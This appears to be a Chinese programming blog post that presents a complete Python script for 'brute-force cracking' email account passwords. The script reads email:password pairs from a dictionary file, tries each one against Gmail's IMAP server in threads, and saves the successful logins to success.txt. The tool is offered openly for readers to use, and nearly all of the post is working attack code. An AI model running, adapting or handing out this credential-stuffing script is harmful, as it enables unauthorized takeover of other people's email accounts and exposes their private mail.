python123注册邮箱_Python实现破解邮箱账号密码的实例

这篇文章主要介绍了Python实现在线暴力破解邮箱账号密码功能,结合完整实例形式分析了Python读取txt字典文件针对邮箱的相关验证破解操作技巧,需要的朋友可以参考下

本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:

dic 字典格式如下(mail.txt) :

username@gmail.com:password

username@gmail.com:password

username@gmail.com:password

以此类推,切记保存成utf-8编码格式。

放置在当前脚本目录,也可自己定义修改。

支持ssl https /imap协议。

# version 3.4.0

# coding='UTF-8'

# time='2014-09-16'

import _dummy_thread

import imaplib

import threading

# global variant

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0

GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'

GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143

GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993

GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()

GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000

GMAIL_BYTES_READED_TOTAL_SIZE = 0

GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0

GLOBAL_READ_FINISH_STATUS_SUCCESS = False

# define global function

def Write_Save_Success_Gmail_Jobs(indexSuccess):

Success_File = open('success.txt', 'a')

Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess])

Success_File.close()

def Write_Save_Fail_Gmail_Jobs(indexFail):

Fail_File = open('fail.txt', 'a')

Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail])

Fail_File.close()

# define global function

def Get_Parser_Account_Pwd(Index):

strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index]

strUserName, strPassWord = strAccountPwd.split(':', 1)

return strUserName, strPassWord

# define global function

def Veritifying_Gmail_Imap_Account_Pwd(IndexGmail):

global GLOBAL_WORKING_THREAD_MUTEX_LOCK

global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES

if ((IndexGmail >= 0) and (IndexGmail < GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)) == True:

GLOBAL_WORKING_THREAD_MUTEX_LOCK.acquire()

GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES += 1

print('POSITION---------', GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES)

print('IMAP INDEX-------', IndexGmail)

print('IMAP USERNAME----', GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])

Write_Save_Fail_Gmail_Jobs(IndexGmail)

# GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

print(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[IndexGmail])

GmailImap4 = imaplib.IMAP4_SSL(GLOBAL_STRING_GMAIL_IMAP4_SERVER, GLOBAL_INT_GMAIL_IMAP4_SSL_PORT)

GmailImap4.port = GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT # 143

stringGmailUserName, stringGmailPassWord = Get_Parser_Account_Pwd(IndexGmail)

try:

ResponseStatus = GmailImap4.login(stringGmailUserName, stringGmailPassWord)

except GmailImap4.error :

print('Logical errors - debug required')

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

return

except GmailImap4.abort :

print('Service errors - close and retry')

GmailImap4.close()

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

return

except GmailImap4.readonly:

print('Mailbox status changed to read only')

GmailImap4.close()

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

return

if (ResponseStatus[0] == 'OK'):

print('LOGIN SUCCESS')

Write_Save_Success_Gmail_Jobs(IndexGmail)

GmailImap4.logout()

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

else:

GmailImap4.close()

print('LOGIN FAIL')

print(ResponseStatus)

Write_Save_Fail_Gmail_Jobs(IndexGmail)

GLOBAL_WORKING_THREAD_MUTEX_LOCK.release()

else:

return

# define global function

class Working_Zone_Thread(threading.Thread):

m_IndexStart = 0

m_IndexEnd = 0

def __init__(self, numEnd):

self.m_IndexEnd = numEnd

threading.Thread.__init__(self)

def run(self): # run process

while True:

if self.m_IndexStart < self.m_IndexEnd:

Veritifying_Gmail_Imap_Account_Pwd(self.m_IndexStart)

self.m_IndexStart = self.m_IndexStart + 1

else:

break

def _delete(self):

threading.Thread._delete(self)

print('thread delete is : ', self.getName())

# define read function

def Read_Send_Single_Func():

IndexStart = 0

print('--------read----star--')

global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM

global GMAIL_BYTES_READED_TOTAL_SIZE

global GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY

File_Read = open('mail.txt', 'r', encoding='UTF-8')

File_Read.seek(GMAIL_BYTES_READED_TOTAL_SIZE, 0) # seek

while IndexStart < GLOBAL_ARRAY_BUFFER_MAX_LINES:

line = File_Read.readline()

if line:

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.append(line)

CbBytes = line.__len__()

GMAIL_BYTES_READED_TOTAL_SIZE += CbBytes

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM += 1

IndexStart = IndexStart + 1

else:

GLOBAL_READ_FINISH_STATUS_SUCCESS = True

break

print('gmail read num ', IndexStart)

File_Read.close()

print('---------read----end--')

# main entry

if __name__ == '__main__':

print('Main Thread Start : ')

while True:

if GLOBAL_READ_FINISH_STATUS_SUCCESS != True:

Read_Send_Single_Func()

wzt = Working_Zone_Thread(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM)

wzt.start()

wzt.join()

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0

GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY.clear()

else:

print('data has run out : ')

break

print('Main Thread End : ')

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值